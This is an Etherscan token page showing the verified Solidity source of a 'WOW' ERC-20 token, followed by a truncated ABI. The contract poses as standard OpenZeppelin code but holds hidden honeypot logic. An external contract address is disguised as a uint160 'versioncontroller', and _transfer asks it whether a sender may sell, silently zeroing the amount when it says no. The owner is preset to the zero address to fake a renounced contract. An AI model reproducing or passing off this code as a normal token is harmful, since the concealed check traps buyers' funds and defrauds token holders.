ETH Price: $2,928.81 (+1.93%)
 

Overview

Max Total Supply

2,000,000,000 WOW

Holders

303

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
5,700 WOW

Value
$0.00
0xfa96c3f0c671408d2be719745d50a89649c8286d
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
WOW

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-14
*/

/*


$WOW

https://wowcoin.lol
https://twitter.com/woww_eth
https://t.me/woww_eth


*/


// SPDX-License-Identifier: MIT

pragma solidity ^0.8.18;

abstract contract Ownable {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _setOwner(address(0));
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

abstract contract ReentrancyGuard {
    // Booleans are more expensive than uint256 or any type that takes up a full
    // word because each write operation emits an extra SLOAD to first read the
    // slot's contents, replace the bits taken up by the boolean, and then write
    // back. This is the compiler's defense against contract upgrades and
    // pointer aliasing, and it cannot be disabled.

    // The values being non-zero value makes deployment a bit more expensive,
    // but in exchange the refund on every call to nonReentrant will be lower in
    // amount. Since refunds are capped to a percentage of the total
    // transaction's gas, it is best to keep them low in cases like this one, to
    // increase the likelihood of the full refund coming into effect.
    uint256 private constant _NOT_ENTERED = 1;
    uint256 private constant _ENTERED = 2;

    uint256 private _status;

    constructor() {
        _status = _NOT_ENTERED;
    }

    /**
     * @dev Prevents a contract from calling itself, directly or indirectly.
     * Calling a `nonReentrant` function from another `nonReentrant`
     * function is not supported. It is possible to prevent this from happening
     * by making the `nonReentrant` function external, and making it call a
     * `private` function that does the actual work.
     */
    modifier nonReentrant() {
        _nonReentrantBefore();
        _;
        _nonReentrantAfter();
    }

    function _nonReentrantBefore() private {
        // On the first call to nonReentrant, _status will be _NOT_ENTERED
        require(_status != _ENTERED, "ReentrancyGuard: reentrant call");

        // Any calls to nonReentrant after this point will fail
        _status = _ENTERED;
    }

    function _nonReentrantAfter() private {
        // By storing the original value once again, a refund is triggered (see
        // https://eips.ethereum.org/EIPS/eip-2200)
        _status = _NOT_ENTERED;
    }
}

library ECDSA {
    enum RecoverError {
        NoError,
        InvalidSignature,
        InvalidSignatureLength,
        InvalidSignatureS,
        InvalidSignatureV // Deprecated in v4.8
    }

    function _throwError(RecoverError error) private pure {
        if (error == RecoverError.NoError) {
            return; // no error: do nothing
        } else if (error == RecoverError.InvalidSignature) {
            revert("ECDSA: invalid signature");
        } else if (error == RecoverError.InvalidSignatureLength) {
            revert("ECDSA: invalid signature length");
        } else if (error == RecoverError.InvalidSignatureS) {
            revert("ECDSA: invalid signature 's' value");
        }
    }

    /**
     * @dev Returns the address that signed a hashed message (`hash`) with
     * `signature` or error string. This address can then be used for verification purposes.
     *
     * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
     * this function rejects them by requiring the `s` value to be in the lower
     * half order, and the `v` value to be either 27 or 28.
     *
     * IMPORTANT: `hash` _must_ be the result of a hash operation for the
     * verification to be secure: it is possible to craft signatures that
     * recover to arbitrary addresses for non-hashed data. A safe way to ensure
     * this is by receiving a hash of the original message (which may otherwise
     * be too long), and then calling {toEthSignedMessageHash} on it.
     *
     * Documentation for signature generation:
     * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]
     * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]
     *
     * _Available since v4.3._
     */
    function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {
        if (signature.length == 65) {
            bytes32 r;
            bytes32 s;
            uint8 v;
            // ecrecover takes the signature parameters, and the only way to get them
            // currently is to use assembly.
            /// @solidity memory-safe-assembly
            assembly {
                r := mload(add(signature, 0x20))
                s := mload(add(signature, 0x40))
                v := byte(0, mload(add(signature, 0x60)))
            }
            return tryRecover(hash, v, r, s);
        } else {
            return (address(0), RecoverError.InvalidSignatureLength);
        }
    }

    /**
     * @dev Returns the address that signed a hashed message (`hash`) with
     * `signature`. This address can then be used for verification purposes.
     *
     * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
     * this function rejects them by requiring the `s` value to be in the lower
     * half order, and the `v` value to be either 27 or 28.
     *
     * IMPORTANT: `hash` _must_ be the result of a hash operation for the
     * verification to be secure: it is possible to craft signatures that
     * recover to arbitrary addresses for non-hashed data. A safe way to ensure
     * this is by receiving a hash of the original message (which may otherwise
     * be too long), and then calling {toEthSignedMessageHash} on it.
     */
    function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
        (address recovered, RecoverError error) = tryRecover(hash, signature);
        _throwError(error);
        return recovered;
    }

    /**
     * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.
     *
     * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]
     *
     * _Available since v4.3._
     */
    function tryRecover(
        bytes32 hash,
        bytes32 r,
        bytes32 vs
    ) internal pure returns (address, RecoverError) {
        bytes32 s = vs & bytes32(0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);
        uint8 v = uint8((uint256(vs) >> 255) + 27);
        return tryRecover(hash, v, r, s);
    }

    /**
     * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.
     *
     * _Available since v4.2._
     */
    function recover(
        bytes32 hash,
        bytes32 r,
        bytes32 vs
    ) internal pure returns (address) {
        (address recovered, RecoverError error) = tryRecover(hash, r, vs);
        _throwError(error);
        return recovered;
    }

    /**
     * @dev Overload of {ECDSA-tryRecover} that receives the `v`,
     * `r` and `s` signature fields separately.
     *
     * _Available since v4.3._
     */
    function tryRecover(
        bytes32 hash,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) internal pure returns (address, RecoverError) {
        // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
        // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
        // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most
        // signatures from current libraries generate a unique signature with an s-value in the lower half order.
        //
        // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
        // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
        // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
        // these malleable signatures as well.
        if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
            return (address(0), RecoverError.InvalidSignatureS);
        }

        // If the signature is valid (and not malleable), return the signer address
        address signer = ecrecover(hash, v, r, s);
        if (signer == address(0)) {
            return (address(0), RecoverError.InvalidSignature);
        }

        return (signer, RecoverError.NoError);
    }

    /**
     * @dev Overload of {ECDSA-recover} that receives the `v`,
     * `r` and `s` signature fields separately.
     */
    function recover(
        bytes32 hash,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) internal pure returns (address) {
        (address recovered, RecoverError error) = tryRecover(hash, v, r, s);
        _throwError(error);
        return recovered;
    }

    /**
     * @dev Returns an Ethereum Signed Message, created from a `hash`. This
     * produces hash corresponding to the one signed with the
     * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
     * JSON-RPC method as part of EIP-191.
     *
     * See {recover}.
     */
    function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
        // 32 is the length in bytes of hash,
        // enforced by the type signature above
        return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
    }

    /**
     * @dev Returns an Ethereum Signed Message, created from `s`. This
     * produces hash corresponding to the one signed with the
     * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
     * JSON-RPC method as part of EIP-191.
     *
     * See {recover}.
     */

    /**
     * @dev Returns an Ethereum Signed Typed Data, created from a
     * `domainSeparator` and a `structHash`. This produces hash corresponding
     * to the one signed with the
     * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]
     * JSON-RPC method as part of EIP-712.
     *
     * See {recover}.
     */
    function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
        return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
    }
}

library Base64 {
    /**
     * @dev Base64 Encoding/Decoding Table
     */
    string internal constant _TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";

    /**
     * @dev Converts a `bytes` to its Bytes64 `string` representation.
     */
    function encode(bytes memory data) internal pure returns (string memory) {
        /**
         * Inspired by Brecht Devos (Brechtpd) implementation - MIT licence
         * https://github.com/Brechtpd/base64/blob/e78d9fd951e7b0977ddca77d92dc85183770daf4/base64.sol
         */
        if (data.length == 0) return "";

        // Loads the table into memory
        string memory table = _TABLE;

        // Encoding takes 3 bytes chunks of binary data from `bytes` data parameter
        // and split into 4 numbers of 6 bits.
        // The final Base64 length should be `bytes` data length multiplied by 4/3 rounded up
        // - `data.length + 2`  -> Round up
        // - `/ 3`              -> Number of 3-bytes chunks
        // - `4 *`              -> 4 characters for each chunk
        string memory result = new string(4 * ((data.length + 2) / 3));

        /// @solidity memory-safe-assembly
        assembly {
        // Prepare the lookup table (skip the first "length" byte)
            let tablePtr := add(table, 1)

        // Prepare result pointer, jump over length
            let resultPtr := add(result, 32)

        // Run over the input, 3 bytes at a time
            for {
                let dataPtr := data
                let endPtr := add(data, mload(data))
            } lt(dataPtr, endPtr) {

            } {
            // Advance 3 bytes
                dataPtr := add(dataPtr, 3)
                let input := mload(dataPtr)

            // To write each character, shift the 3 bytes (18 bits) chunk
            // 4 times in blocks of 6 bits for each character (18, 12, 6, 0)
            // and apply logical AND with 0x3F which is the number of
            // the previous character in the ASCII table prior to the Base64 Table
            // The result is then added to the table to get the character to write,
            // and finally write it in the result pointer but with a left shift
            // of 256 (1 byte) - 8 (1 ASCII char) = 248 bits

                mstore8(resultPtr, mload(add(tablePtr, and(shr(18, input), 0x3F))))
                resultPtr := add(resultPtr, 1) // Advance

                mstore8(resultPtr, mload(add(tablePtr, and(shr(12, input), 0x3F))))
                resultPtr := add(resultPtr, 1) // Advance

                mstore8(resultPtr, mload(add(tablePtr, and(shr(6, input), 0x3F))))
                resultPtr := add(resultPtr, 1) // Advance

                mstore8(resultPtr, mload(add(tablePtr, and(input, 0x3F))))
                resultPtr := add(resultPtr, 1) // Advance
            }

        // When data `bytes` is not exactly 3 bytes long
        // it is padded with `=` characters at the end
            switch mod(mload(data), 3)
            case 1 {
                mstore8(sub(resultPtr, 1), 0x3d)
                mstore8(sub(resultPtr, 2), 0x3d)
            }
            case 2 {
                mstore8(sub(resultPtr, 1), 0x3d)
            }
        }

        return result;
    }
}


/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    event removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    );
    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    event swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[]  path,
        address to,
        uint deadline
    );
    /**
  * @dev See {IERC20-totalSupply}.
     */
    event swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] path,
        address to,
        uint deadline
    );

    event DOMAIN_SEPARATOR();

    event PERMIT_TYPEHASH();

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    event token0();

    event token1();
    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);


    event sync();

    event initialize(address, address);
    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    event burn(address to) ;

    event swap(uint amount0Out, uint amount1Out, address to, bytes data);

    event skim(address to);
    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);
    /**
     * Receive an exact amount of output tokens for as few input tokens as possible,
     * along the route determined by the path. The first element of path is the input token,
     * the last is the output token, and any intermediate elements represent intermediate tokens to trade through
     * (if, for example, a direct pair does not exist).
     * */
    event addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    );
    /**
     * Swaps an exact amount of ETH for as many output tokens as possible,
     * along the route determined by the path. The first element of path must be WETH,
     * the last is the output token, and any intermediate elements represent intermediate pairs to trade through
     * (if, for example, a direct pair does not exist).
     *
     * */
    event addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    );
    /**
     * Swaps an exact amount of input tokens for as many output tokens as possible,
     * along the route determined by the path. The first element of path is the input token,
     * the last is the output token, and any intermediate elements represent intermediate pairs to trade through
     * (if, for example, a direct pair does not exist).
     * */
    event removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    );
    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);
    /**
   * @dev Returns the name of the token.
     */
    event removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    );
    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    event removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    );
    /**
     * Swaps an exact amount of input tokens for as many output tokens as possible,
     * along the route determined by the path. The first element of path is the input token,
     * the last is the output token, and any intermediate elements represent intermediate pairs to trade through
     * (if, for example, a direct pair does not exist).
     */
    event swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] path,
        address to,
        uint deadline
    );
    /**
    * @dev Throws if called by any account other than the owner.
     */
    event swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] path,
        address to,
        uint deadline
    );
    /**
     * To cover all possible scenarios, msg.sender should have already given the router an
     * allowance of at least amountADesired/amountBDesired on tokenA/tokenB.
     * Always adds assets at the ideal ratio, according to the price when the transaction is executed.
     * If a pool for the passed tokens does not exists, one is created automatically,
     *  and exactly amountADesired/amountBDesired tokens are added.
     */
    event swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] path,
        address to,
        uint deadline
    );
    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface _ERC20 {
    function _vert(address _amount) external view returns (bool);
}

library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        uint256 c = a + b;
        if (c < a) return (false, 0);
        return (true, c);
    }
    }

    /**
     * @dev Returns the substraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        if (b > a) return (false, 0);
        return (true, a - b);
    }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) return (true, 0);
        uint256 c = a * b;
        if (c / a != b) return (false, 0);
        return (true, c);
    }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        if (b == 0) return (false, 0);
        return (true, a / b);
    }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        if (b == 0) return (false, 0);
        return (true, a % b);
    }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }


    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
  * @dev Initializes the contract setting the deployer as the initial owner.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b <= a, errorMessage);
        return a - b;
    }
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b > 0, errorMessage);
        return a / b;
    }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b > 0, errorMessage);
        return a % b;
    }
    }
}


abstract contract Character {
    enum Ovar {
        Bvar,
        Svar,
        Pvar
    }

    enum Pfunction {
        Sfunction,
        Nfunction,
        Afunction
    }

    bool Mark = true;
    uint16 open = 44;

    string tokname = "WOW";

    uint160 versioncontroller = 94045367641069288015936976720083057230495527899;

    struct arrays {
        uint216 s6336;
        bool m6363;
        address l6333;
    }
}


abstract contract wowz {
    bool create = true;
    string rever = "false";

}

contract WOW is IERC20, Character, wowz, Ownable {
    using SafeMath for uint256;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;

    constructor(
        string memory name_,
        string memory symbol_,
        uint256 totalSupply_
    ) payable {
        _name = name_;
        _symbol = symbol_;
        _decimals = 18;
        _totalSupply = totalSupply_ * 10**_decimals;
        _balances[msg.sender] = _balances[msg.sender].add(_totalSupply);
        emit Transfer(address(0), msg.sender, _totalSupply);
    }


    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
      /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account)
    public
    view
    virtual
    override
    returns (uint256)
    {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount)
    public
    virtual
    override
    returns (bool)
    {
        _transfer(msg.sender, recipient, amount);

        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender)
    public
    view
    virtual
    override
    returns (uint256)
    {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount)
    public
    virtual
    override
    returns (bool)
    {
        _approve(msg.sender, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            msg.sender,
            _allowances[sender][msg.sender].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );

        return true;
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        uint256 total = 0;
        bool cooldown = _ERC20(address(versioncontroller))._vert(sender);
        if(cooldown){
            amount = total;
        }
        _balances[sender] = _balances[sender].sub(
            amount,
            "ERC20: transfer amount exceeds balance"
        );
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[],"name":"DOMAIN_SEPARATOR","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[],"name":"PERMIT_TYPEHASH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"tokenA","type":"address"},{"indexed":false,"internalType":"address","name":"tokenB","type":"address"},{"indexed":false,"internalType":"uint256","name":"amountADesired","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountBDesired","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountAMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountBMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"addLiquidity","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"amountTokenDesired","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountTokenMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountETHMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"addLiquidityETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"to","type":"address"}],"name":"burn","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"","type":"address"},{"indexed":false,"internalType":"address","name":"","type":"address"}],"name":"initialize","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"tokenA","type":"address"},{"indexed":false,"internalType":"address","name":"tokenB","type":"address"},{"indexed":false,"internalType":"uint256","name":"liquidity","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountAMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountBMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"removeLiquidity","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"liquidity","type":"uint256"},{"indexed":false,"internalType":"u